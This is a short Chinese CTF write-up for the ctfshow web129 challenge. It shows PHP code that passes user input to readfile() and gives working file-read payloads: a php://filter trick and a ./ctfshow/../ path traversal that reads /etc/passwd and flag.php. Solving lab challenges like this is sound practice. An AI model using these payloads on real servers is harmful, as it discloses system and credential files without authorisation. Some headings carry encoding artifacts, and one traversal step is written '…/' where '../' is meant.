目錄

• 源碼
• 思路
• 題解
• • 解法一
  • 解法二
• 總結(jié)

---

源碼

<?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-10-13 03:18:40*/error_reporting(0); highlight_file(__FILE__); if(isset($_GET['f'])){$f = $_GET['f'];if(stripos($f, 'ctfshow')>0){echo readfile($f);} }

---

思路

這題是讓我們讀取flag,當(dāng)時我們傳入的值必須包括ctfshow而且不能出現(xiàn)在開頭,第一反應(yīng)就是用filter偽協(xié)議讀取,中間把ctfshow替換成過濾器的名稱php://filter/ctfshow/resource=flag.php,或者目錄遍歷也可以

題解

解法一

?f=php://filter/ctfshow/resource=flag.php
具體原理也不是很清楚,可能是php遇到?jīng)]有的filter就會忽略

查看網(wǎng)頁源代碼,拿到flag

解法二

把ctfshow當(dāng)作當(dāng)前目錄下的一個文件,當(dāng)時ctfshow能是開頭,用./ctfshow替換
.嘗試輸出/etc/passwd的內(nèi)容,在中間加…/

然后把etc/passwd替換成var/www/html/flag.php

查看源代碼,拿到flag

---

總結(jié)

水題

總結(jié)

以上是生活随笔為你收集整理的CTFshow php特性 web129的全部內(nèi)容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯，歡迎將生活随笔推薦給好友。